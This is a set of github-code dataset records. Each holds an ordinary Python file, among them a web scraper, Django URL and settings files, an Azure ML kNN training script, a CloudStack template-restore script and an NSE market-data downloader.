text=\"Save to File\", command=savetoFile, padx=10, bg=\"#4F4F4F\", fg=\"#17FE00\")\r\nbsavetofile.grid(row=3, column=1, columnspan=1)\r\nbsavetofile['font'] = fontforbtns\r\n\r\nbexit = Button(root, text=\"Exit\", command=exittheprogram, padx=64, bg=\"#4F4F4F\", fg=\"#E90000\")\r\nbexit.grid(row=3, column=2, columnspan=1)\r\nbexit['font'] = fontforbtns\r\n\r\n\r\nroot.mainloop()\r\n", "repo_name": "hirusha-adi/IP-Lookup", "sub_path": "GUI/iplookupgui.py", "file_name": "iplookupgui.py", "file_ext": "py", "file_size_in_byte": 2741, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tkinter.font.Font", "line_number": 14, "usage_type": "call"}, {"api_name": "tkinter.font", "line_number": 14, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 23, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 40, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 40, "usage_type": "name"}, {"api_name": "tkinter.font.Font", "line_number": 47, "usage_type": "call"}, {"api_name": "tkinter.font", "line_number": 47, "usage_type": "name"}]}
{"seq_id": "41342200542", "text": "import requests\nimport threading\nimport re\n# ---------------spider---------------\nall_urls = []  # 我们拼接好的图片集和列表路径\n\nclass Spider:\n    # 构造函数，初始化数据使用\n    def __init__(self, target_url, headers):\n        self.target_url = target_url\n        self.headers = headers\n\n    # 获取所有的想要抓取的URL\n    def getUrls(self, start_page, page_num):\n        global all_urls\n        # 循环得到URL\n        for i in range(start_page, page_num + 1):\n            url = self.target_url % i\n            all_urls.append(url)\n\n# ---------------生产者（从每个页面提取图片列表链接）---------------\nclass Producer(threading.Thread):\n\n    def run(self):\n        g_lock = threading.Lock()\n        headers = {\n            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',\n            'HOST': 'www.mztu.com'\n        }\n        global all_urls\n        while len(all_urls) > 0:\n            g_lock.acquire()  # 在访问all_urls的时候，需要使用锁机制\n\n            page_url = all_urls.pop()  # 通过pop方法移除最后一个元素，并且返回该值\n            g_lock.release()  # 使用完成之后及时把锁给释放，方便其他线程使用\n            try:\n                print(\"分析\" + page_url)\n                response = requests.get(page_url, headers=headers, timeout=3)\n                all_pic_link = re.findall('<a target=\\'_blank\\' href=\"(.*?)\">', response.text, re.S)\n                global all_img_urls\n                g_lock.acquire()  # 这里还有一个锁\n\n                all_img_urls += all_pic_link  # 这个地方注意数组的拼接，没有用append直接用的+=也算是python的一个新语法吧\n                print(all_img_urls)\n                g_lock.release()  # 释放锁\n            except:\n                pass\n\nif __name__ == \"__main__\":\n    headers = {\n        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',\n        'HOST': 'www.mztu.com'\n    }\n    target_url = 'http://www.mztu.com/a/pure_%d.html'  # 图片集和列表规则\n\n    spider = Spider(target_url, headers)\n    spider.getUrls(1, 16)\n    print(all_urls)", "repo_name": "ALiang-NO1/python-learn", "sub_path": "Python爬虫/爬虫实战/其他爬虫/02线程爬虫.py", "file_name": "02线程爬虫.py", "file_ext": "py", "file_size_in_byte": 2202, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "threading.Thread", "line_number": 22, "usage_type": "attribute"}, {"api_name": "threading.Lock", "line_number": 25, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 38, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 39, "usage_type": "call"}, {"api_name": "re.S", "line_number": 39, "usage_type": "attribute"}]}
{"seq_id": "16418110322", "text": "import pygame\nimport numpy as np\n\n\nclass Basecamp(pygame.sprite.Sprite):\n    def __init__(self, x, y, size=40):\n        super().__init__()\n        self.x = x\n        self.y = y\n        self.pos = np.array([x, y])\n        self.size = size\n        self.color = (31, 75, 122)\n", "repo_name": "paulflagel/SMA-tp4-architecture_bdi", "sub_path": "basecamp.py", "file_name": "basecamp.py", "file_ext": "py", "file_size_in_byte": 273, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.sprite", "line_number": 5, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 10, "usage_type": "call"}]}
{"seq_id": "37144186477", "text": "from django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path(\"\", views.index, name=\"dashboard\"),\n    path(\"builds/<int:bid>/\", views.build_detail, name=\"build_detail\"),\n    path(\"builds/tag/<str:tag>/\", views.builds_by_tag, name=\"builds_by_tag\"),\n    path(\"builds/owner/<str:username>/\", views.builds_by_owner, name=\"builds_by_owner\"),\n    path(\"specs/diff/<int:spec1>/<int:spec2>/\", views.spec_diff, name=\"spec-diff\"),\n    path(\"specs/diff/\", views.spec_diff, name=\"spec-diff\"),\n    # General analysis results / matrices\n    path(\n        \"analysis/matrix/<str:pkg>/<str:arch>/\",\n        views.package_matrix,\n        name=\"package-matrix\",\n    ),\n    path(\"analysis/matrix/\", views.package_matrix, name=\"package-matrix\"),\n    path(\n        \"analysis/diffs/<str:pkg>/<str:analysis>/\",\n        views.view_analysis_diffs,\n        name=\"package-analysis-diffs\",\n    ),\n    path(\"analysis/diffs/\", views.view_analysis_diffs, name=\"package-analysis-diffs\"),\n    path(\n        \"analysis/results/<str:pkg>/<str:analysis>/\",\n        views.view_analysis_results,\n        name=\"package-analysis-results\",\n    ),\n    path(\n        \"analysis/results/\",\n        views.view_analysis_results,\n        name=\"package-analysis-results\",\n    ),\n    # Smeagle stability tests\n    path(\n        \"analysis/abi/stability/<str:pkg>/<str:specA>/<str:specB>/\",\n        views.stability_test_package,\n        name=\"stability-test-package\",\n    ),\n    path(\n        \"analysis/abi/stability/<str:pkg>/\",\n        views.stability_test_package,\n        name=\"stability-test-package\",\n    ),\n    path(\n        \"analysis/abi/stability/\",\n        views.stability_test_package,\n        name=\"stability-test-package\",\n    ),\n    # Symbolator diffs (splicing emulation)\n    path(\n        \"analysis/symbols/<str:pkg>/<int:specA>/<int:specB>/\",\n        views.symbol_test_package,\n        name=\"symbols-test-package\",\n    ),\n    path(\n        \"analysis/symbols/<str:pkg>/<int:specA>/\",\n        views.symbol_test_package,\n        name=\"symbols-test-package\",\n    ),\n    path(\n        \"analysis/symbols/<str:pkg>/\",\n        views.symbol_test_package,\n        name=\"symbols-test-package\",\n    ),\n    path(\n        \"analysis/symbols/\",\n        views.symbol_test_package,\n        name=\"symbols-test-package\",\n    ),\n    path(\"specs/detail/<int:specid>\", views.spec_detail, name=\"spec_detail\"),\n]\n\napp_name = \"main\"\n", "repo_name": "spack/spack-monitor", "sub_path": "spackmon/apps/main/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 2383, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 24, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 29, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 35, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 40, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 45, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 51, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 56, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 61, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 66, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 71, "usage_type": "call"}]}
{"seq_id": "70582267771", "text": "import argparse\nimport os\nimport numpy as np\n\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.externals import joblib\n\nfrom azureml.core import Run\n\nimport gzip\nimport struct\n\n# load compressed MNIST gz files and return numpy arrays\ndef load_data(filename, label=False):\n    with gzip.open(filename) as gz:\n        struct.unpack('I', gz.read(4))\n        n_items = struct.unpack('>I', gz.read(4))\n        if not label:\n            n_rows = struct.unpack('>I', gz.read(4))[0]\n            n_cols = struct.unpack('>I', gz.read(4))[0]\n            res = np.frombuffer(gz.read(n_items[0] * n_rows * n_cols), dtype=np.uint8)\n            res = res.reshape(n_items[0], n_rows * n_cols)\n        else:\n            res = np.frombuffer(gz.read(n_items[0]), dtype=np.uint8)\n            res = res.reshape(n_items[0], 1)\n    return res\n\n# create three parameters, the location of the data files, and the maximun value of k and the interval\nparser = argparse.ArgumentParser()\nparser.add_argument('--data-folder', type=str, dest='data_folder', help='data folder mounting point')\nparser.add_argument('--kmax', type=int, dest='kmax', default=15, help='max k value')\nparser.add_argument('--kinterval', type=int, dest='kinterval', default=2, help='k interval')\nargs = parser.parse_args()\n\ndata_folder = os.path.join(args.data_folder, 'mnist')\nprint('Data folder:', data_folder)\n\n# load the train and test set into numpy arrays\nX_train = load_data(os.path.join(data_folder, 'train-images.gz'), False) / 255.0\nX_test = load_data(os.path.join(data_folder, 'test-images.gz'), False) / 255.0\n\n#print variable set dimension\nprint(X_train.shape, X_test.shape, sep = '\\n')\n\ny_train = load_data(os.path.join(data_folder, 'train-labels.gz'), True).reshape(-1)\ny_test = load_data(os.path.join(data_folder, 'test-labels.gz'), True).reshape(-1)\n\n#print the response variable dimension\nprint( y_train.shape, y_test.shape, sep = '\\n')\n\n# get hold of the current run\nrun = Run.get_context()\n\nprint('Train kNN models with k equals to', range(1,args.kmax,args.kinterval))\n\n# generate a wide range of k and find the best models\n# also create a list to store the evaluation result for each value of k\nkVals = range(1,args.kmax,args.kinterval)\nevaluation = []\n\n# loop over the models with different parameters to find the one with the lowest error rate\nfor k in kVals:\n    model = KNeighborsClassifier(n_neighbors=k)\n    model.fit(X_train, y_train)\n\n    # use the test dataset for evaluation and append the result to the evaluation list\n    score = model.score(X_test, y_test)\n    print(\"k=%d, accuracy=%.2f%%\" % (k, score * 100))\n    evaluation.append(score)\n\n# find the value of k with the best performance\ni = int(np.argmax(evaluation))\nprint(\"k=%d with best performance with %.2f%% accuracy given current testset\" % (kVals[i], evaluation[i] * 100))\n\nmodel = KNeighborsClassifier(n_neighbors=kVals[i])\n\nrun.log('Best_k', kVals[i])\nrun.log('accuracy', evaluation[i])\n\nos.makedirs('outputs', exist_ok=True)\n\n# note that the file saved in the outputs folder automatically uploads into the experiment record\njoblib.dump(value=model, filename='outputs/knn_mnist_model.pkl')", "repo_name": "lawrence-lachman/Azure-ML-Service", "sub_path": "train-knn-mnist.py", "file_name": "train-knn-mnist.py", "file_ext": "py", "file_size_in_byte": 3143, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "gzip.open", "line_number": 15, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 16, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 17, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 19, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 21, "usage_type": "attribute"}, {"api_name": "numpy.frombuffer", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 24, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "azureml.core.Run.get_context", "line_number": 52, "usage_type": "call"}, {"api_name": "azureml.core.Run", "line_number": 52, "usage_type": "name"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 72, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 75, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 80, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib.dump", "line_number": 83, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 83, "usage_type": "name"}]}
{"seq_id": "17580685283", "text": "from pulp.settings import *\nimport os\nimport sentry_sdk\nfrom sentry_sdk.integrations.django import DjangoIntegration\nfrom sentry_sdk.integrations.redis import RedisIntegration\nfrom sentry_sdk.integrations.celery import CeleryIntegration\nfrom sentry_sdk.integrations.logging import LoggingIntegration\n\nSITE_ID = os.environ.get('SITE_ID')\n\nDATABASES = {\n    'default': {\n        \"ENGINE\": \"django.db.backends.postgresql\",\n        \"NAME\": os.environ.get(\"SQL_DATABASE\", \"pulp_db\"),\n        \"USER\": os.environ.get(\"SQL_USER\", \"admin\"),\n        \"PASSWORD\": os.environ.get(\"SQL_PASSWORD\", \"password\"),\n        \"HOST\": os.environ.get(\"SQL_HOST\", \"pulp-db-host\"),\n        \"PORT\": os.environ.get(\"SQL_PORT\", \"5432\"),\n    }\n}\n\nDEBUG = False\n\nsentry_sdk.init(\n    dsn=\"https://376f22cb96ba4052a0cb5f47084f452c@sentry.io/1529016\",\n    integrations=[DjangoIntegration(), RedisIntegration(), CeleryIntegration(), LoggingIntegration()],\n    send_default_pii=True\n)\n\nJAVASCRIPT_URLS = {\n    'landing': '/static/js/build/landing.js',\n    'switcher': '/static/js/build/switcher.js',\n    'article': '/static/js/build/article.js',\n    'subscribe': '/static/js/build/subscribe.js',\n    'newsletters': '/static/js/build/newsletters.js',\n}\n\nCACHES = {\n    \"default\": {\n        \"BACKEND\": \"django_redis.cache.RedisCache\",\n        \"LOCATION\": \"redis://pulp-redis-service:6379/0\",\n        \"OPTIONS\": {\n            \"CLIENT_CLASS\": \"django_redis.client.DefaultClient\",\n        }\n    }\n}\n\nRECAPTCHA_PUBLIC_KEY = os.environ.get('RECAPTCHA_PUBLIC_KEY')\nRECAPTCHA_PRIVATE_KEY = os.environ.get('RECAPTCHA_PRIVATE_KEY')\n\n", "repo_name": "rahulsarathy/Pulp", "sub_path": "backend/app/pulp/prod_settings.py", "file_name": "prod_settings.py", "file_ext": "py", "file_size_in_byte": 1587, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.environ.get", "line_number": 9, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 14, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 15, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 16, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 17, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 18, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 18, "usage_type": "attribute"}, {"api_name": "sentry_sdk.init", "line_number": 24, "usage_type": "call"}, {"api_name": "sentry_sdk.integrations.django.DjangoIntegration", "line_number": 26, "usage_type": "call"}, {"api_name": "sentry_sdk.integrations.redis.RedisIntegration", "line_number": 26, "usage_type": "call"}, {"api_name": "sentry_sdk.integrations.celery.CeleryIntegration", "line_number": 26, "usage_type": "call"}, {"api_name": "sentry_sdk.integrations.logging.LoggingIntegration", "line_number": 26, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 48, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 49, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 49, "usage_type": "attribute"}]}
{"seq_id": "9338385397", "text": "from django.http import HttpResponse\nfrom django.urls import path\nfrom .views import (fvRsPathAttView, \n                    fvRsPathAttListView, \n                    fvRsPathAttCreateView, \n                    fvRsPathAttDeleteView , \n                    fvRsPathAttEditView, \n                    AciTenantView, \n                    AciTenantListView,\n                    AciApListView,\n                    AciApView,\n                    AciEpgListView,\n                    AciEpgView,\n                    fvRsPathAttImportView,)\n\n\nurlpatterns = [\n    path(\"\", fvRsPathAttListView.as_view(), name=\"fvRsPathAtt_list\"),\n    path(\"<int:pk>/\", fvRsPathAttView.as_view(), name=\"fvRsPathAtt\"),\n    path(\"add/\", fvRsPathAttCreateView.as_view(), name=\"fvRsPathAtt_add\"),\n    path(\"import/\", fvRsPathAttImportView.as_view(), name=\"fvRsPathAtt_import\"),\n    path(\"<int:pk>/delete/\", fvRsPathAttDeleteView.as_view(), name=\"fvRsPathAtt_delete\"),\n    path(\"<int:pk>/edit/\", fvRsPathAttEditView.as_view(), name=\"fvRsPathAtt_edit\"),\n    ######### AciTenant #################################\n    path(\"aci-tenant/\", AciTenantListView.as_view(), name=\"AciTenant_list\"),\n    path(\"aci-tenant/<int:pk>/\", AciTenantView.as_view(), name=\"AciTenant\"),\n    ######### Aci Application profile #################################\n    path(\"aci-ap/\", AciApListView.as_view(), name=\"AciAp_list\"),\n    path(\"aci-ap/<int:pk>/\", AciApView.as_view(), name=\"AciAp\"),\n    ######### Aci End Point groups #################################\n    path(\"aci-epg/\", AciEpgListView.as_view(), name=\"AciEpg_list\"),\n    path(\"aci-epg/<int:pk>/\", AciEpgView.as_view(), name=\"AciEpg\"),\n]", "repo_name": "martinrenshaw/plugin_fvRsPathAtt-main", "sub_path": "plugin_fvRsPathAtt/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1638, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "views.fvRsPathAttListView.as_view", "line_number": 18, "usage_type": "call"}, {"api_name": "views.fvRsPathAttListView", "line_number": 18, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "views.fvRsPathAttView.as_view", "line_number": 19, "usage_type": "call"}, {"api_name": "views.fvRsPathAttView", "line_number": 19, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "views.fvRsPathAttCreateView.as_view", "line_number": 20, "usage_type": "call"}, {"api_name": "views.fvRsPathAttCreateView", "line_number": 20, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "views.fvRsPathAttImportView.as_view", "line_number": 21, "usage_type": "call"}, {"api_name": "views.fvRsPathAttImportView", "line_number": 21, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "views.fvRsPathAttDeleteView.as_view", "line_number": 22, "usage_type": "call"}, {"api_name": "views.fvRsPathAttDeleteView", "line_number": 22, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "views.fvRsPathAttEditView.as_view", "line_number": 23, "usage_type": "call"}, {"api_name": "views.fvRsPathAttEditView", "line_number": 23, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 25, "usage_type": "call"}, {"api_name": "views.AciTenantListView.as_view", "line_number": 25, "usage_type": "call"}, {"api_name": "views.AciTenantListView", "line_number": 25, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 26, "usage_type": "call"}, {"api_name": "views.AciTenantView.as_view", "line_number": 26, "usage_type": "call"}, {"api_name": "views.AciTenantView", "line_number": 26, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 28, "usage_type": "call"}, {"api_name": "views.AciApListView.as_view", "line_number": 28, "usage_type": "call"}, {"api_name": "views.AciApListView", "line_number": 28, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 29, "usage_type": "call"}, {"api_name": "views.AciApView.as_view", "line_number": 29, "usage_type": "call"}, {"api_name": "views.AciApView", "line_number": 29, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 31, "usage_type": "call"}, {"api_name": "views.AciEpgListView.as_view", "line_number": 31, "usage_type": "call"}, {"api_name": "views.AciEpgListView", "line_number": 31, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 32, "usage_type": "call"}, {"api_name": "views.AciEpgView.as_view", "line_number": 32, "usage_type": "call"}, {"api_name": "views.AciEpgView", "line_number": 32, "usage_type": "name"}]}
{"seq_id": "33732712399", "text": "import random\nfrom faker import Faker\nfrom pymongo import MongoClient\n\n# Initialize Faker\nfake = Faker()\n\n# MongoDB connection settings\nmongo_uri = \"mongodb://localhost:27017/tenderbig\"\nclient = MongoClient(mongo_uri)\ndb = client[\"your-database-name\"]\ncollection = db[\"your-collection-name\"]\n\n# Generate and insert 5 random records\nfor _ in range(5):\n    record = {\n        \"razorpay_signature\": fake.sha256(),\n        \"razorpay_payment_id\": fake.uuid4(),\n        \"razorpay_subscription_id\": fake.uuid4(),\n        \"userId\": fake.uuid4(),\n    }\n\n    collection.insert_one(record)\n\nprint(\"Inserted 5 dummy records into MongoDB.\")\n", "repo_name": "Satyam2192/Tender-Big", "sub_path": "server/models/paymentModel.py", "file_name": "paymentModel.py", "file_ext": "py", "file_size_in_byte": 628, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "faker.Faker", "line_number": 6, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 10, "usage_type": "call"}]}
{"seq_id": "30713190094", "text": "import json\n\nimport VM\nimport template\nimport guestOS\nimport volume\nimport time\n# Restore 환경을 위해 먼저 VM 생성\n# vm=VM.VM()\n# res=vm.deployVM(\"989c3cde-0557-48ee-8197-58a1d3b90d08\",\"restore-test-2\",\"true\")\n# res=json.loads(res)\n# vmid=res[\"deployvirtualmachineresponse\"][\"id\"]\n# print(res)\n# print(\"vmid is \",vmid)\n\n\n\nvmid=\"db0c3a4e-62ab-4e63-ae26-98ba4d091d7f\"\nvm=VM.VM()\nos=guestOS.OS()\ntemplate=template.Template()\n# # 1. 실행중인 VM을 중지\nvm.stopVM(vmid)\n\n# 1-2. VM 중지까지 대기\nwhile True :\n    VM_status=vm.getvmstatus(vmid)\n    if VM_status== \"Stopped\": break\n    else :\n        print(\"wait until VM status Stopped. current status is\", VM_status)\n        time.sleep(1)\n\n# # 2. VM으로부터 템플릿 생성\nvolumid=volume.getVol_ID_of_VM(vmid)\nostypeid=os.getostypeofVMid(vmid)\ntemplate_name=\"restore-template-test\"\n#\ntemplate_id=template.createTemplate(template_name,ostypeid,volumid)\ntime.sleep(10)\nwhile True :\n    template_status=template.getTemplatestatus(template_name)\n    if template_status== \"Download Complete\": break\n    else :\n        if template_status== \"error\" :\n            print(\"image status is error. terminate process.\")\n            exit()\n        else:\n            print(\"wait until image status active. current status is\", template_status)\n            time.sleep(1)\n\n# 3. 템플릿을 extractable 상태로 업데이트\n\ntemplate.updateextractable(template_id)\n\n\n# 4. 템플릿 extrat api 실행\n\nextract_job_id=template.extractTemplate(template_id)\nwhile True :\n    job_status=template.queryjobresult(extract_job_id)\n    job_status=json.loads(job_status)\n    job_status=job_status[\"queryasyncjobresultresponse\"][\"jobstatus\"]\n    if job_status == 1 : break\n    else :\n        print(\"wait until job status active. current status is\", job_status)\n        time.sleep(0.5)\n\n# for i in range(3):\n#     template.queryjobresult(extract_job_id)\n#     time.sleep(0.5)\n# 5. 해당 extract job을 참조하여 download url 받아오기\n\ntemplate.getTemplateDownURL(extract_job_id)\n\n", "repo_name": "drok02/FlyingCloud", "sub_path": "cloustack/All_in_One_RestoreProcess.py", "file_name": "All_in_One_RestoreProcess.py", "file_ext": "py", "file_size_in_byte": 2030, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "VM.VM", "line_number": 19, "usage_type": "call"}, {"api_name": "guestOS.OS", "line_number": 20, "usage_type": "call"}, {"api_name": "template.Template", "line_number": 21, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 31, "usage_type": "call"}, {"api_name": "volume.getVol_ID_of_VM", "line_number": 34, "usage_type": "call"}, {"api_name": "template.createTemplate", "line_number": 38, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 39, "usage_type": "call"}, {"api_name": "template.getTemplatestatus", "line_number": 41, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 49, "usage_type": "call"}, {"api_name": "template.updateextractable", "line_number": 53, "usage_type": "call"}, {"api_name": "template.extractTemplate", "line_number": 58, "usage_type": "call"}, {"api_name": "template.queryjobresult", "line_number": 60, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 61, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 66, "usage_type": "call"}, {"api_name": "template.getTemplateDownURL", "line_number": 73, "usage_type": "call"}]}
{"seq_id": "13957180089", "text": "import datetime\nimport requests\nfrom requests.adapters import HTTPAdapter, Retry\nfrom time import sleep\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nfrom datetime import date\n\n\ndef get_url_response(url, count=0):\n    session = requests.Session()\n    retries = Retry(\n        total=5,\n        backoff_factor=1,\n        status_forcelist=[502, 503, 504, 443, 429],\n    )\n    session.mount(url, HTTPAdapter(max_retries=retries))\n    headers = {\n        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) '\n                      'AppleWebKit/537.36 (KHTML, like Gecko) '\n                      'Chrome/93.0.4577.63 Safari/537.36 ',\n        'Connection': 'keep-alive',\n        'Accept': '*/*'\n    }\n    r = session.get(url, headers=headers, timeout=10)\n    if not r.ok and count < 2:\n        sleep(1)\n        return get_url_response(url, count + 1)\n    return r\n\n\ndef get_secutites(page_data):\n    page_soup = BeautifulSoup(page_data, features='lxml')\n    req_div = page_soup.find_all('div', 'tab-pane active')\n    for div in req_div:\n        for anchor in div.find_all('a'):\n            if anchor.getText() == 'Securities available for Equity segment (.csv)':\n                securites = pd.read_csv(anchor['href'])\n                return securites\n    return None\n\n\ndef get_bhavcopies(lastday=date.today(), days=1):\n    days_fetched = 0\n    current_day = lastday\n    bhavcopies = None\n    while days_fetched < days:\n        previous_day = current_day - datetime.timedelta(1)\n        year = current_day.year\n        month = current_day.strftime('%b').upper()\n        day = current_day.strftime(\"%d\")\n        url = f\"https://archives.nseindia.com/content/historical/EQUITIES/{year}/{month}/cm{day}{month}{year}bhav.csv.zip\"\n        r = get_url_response(url)\n        if r.ok:\n            current_day_bhav = pd.read_csv(url)\n            if bhavcopies is None:\n                bhavcopies = current_day_bhav\n            else:\n                bhavcopies = pd.concat([bhavcopies, current_day_bhav], axis=0)\n            days_fetched += 1\n        current_day = previous_day\n        if current_day < date(2000, 1, 1):\n            break\n    return bhavcopies\n", "repo_name": "devta108/NSE_Bhavcopy_Z42", "sub_path": "utils/get_response.py", "file_name": "get_response.py", "file_ext": "py", "file_size_in_byte": 2143, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.Session", "line_number": 11, "usage_type": "call"}, {"api_name": "requests.adapters.Retry", "line_number": 12, "usage_type": "call"}, {"api_name": "requests.adapters.HTTPAdapter", "line_number": 17, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 27, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 33, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 43, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 43, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 48, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 55, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 59, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 62, "usage_type": "call"}]}
